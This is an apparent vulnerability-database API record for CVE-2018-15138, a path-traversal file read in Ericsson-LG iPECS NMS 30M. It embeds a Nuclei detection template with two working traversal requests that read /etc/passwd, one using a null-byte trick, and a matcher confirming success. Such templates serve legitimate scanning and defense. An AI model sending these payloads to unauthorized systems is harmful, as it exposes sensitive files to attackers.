{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-15138/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-15138/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-15138/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-15138/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-15138/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-15138"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-15138"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2018/CVE-2018-15138.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2018-15138\n\ninfo:\n  name: LG-Ericsson iPECS NMS 30M - Local File Inclusion\n  author: 0x_Akoko\n  severity: high\n  description: Ericsson-LG iPECS NMS 30M allows local file inclusion via ipecs-cm/download?filename=../ URIs.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system, potentially leading to unauthorized access or information disclosure.\n  remediation: |\n    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.\n  reference:\n    - https://cxsecurity.com/issue/WLB-2018080070\n    - https://www.exploit-db.com/exploits/45167/\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-15138\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2018-15138\n    cwe-id: CWE-22\n    epss-score: 0.12851\n    epss-percentile: 0.96122\n    cpe: cpe:2.3:a:ericssonlg:ipecs_nms:30m-2.3gn:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: ericssonlg\n    product: ipecs_nms\n  tags: cve2018,cve,ericsson,lfi,traversal,edb,ericssonlg,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data\"\n      - \"{{BaseURL}}/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:[x*]:0:0\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100a451ae2931edeeff53da2b58200229398698e4662b220abd4d7d10be46c4cbd00220255365ef25a7a2dd4a52c7bd2ba787d73bf5322718cefbfa99ea72bbbc5e8be1:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2018-15138"
}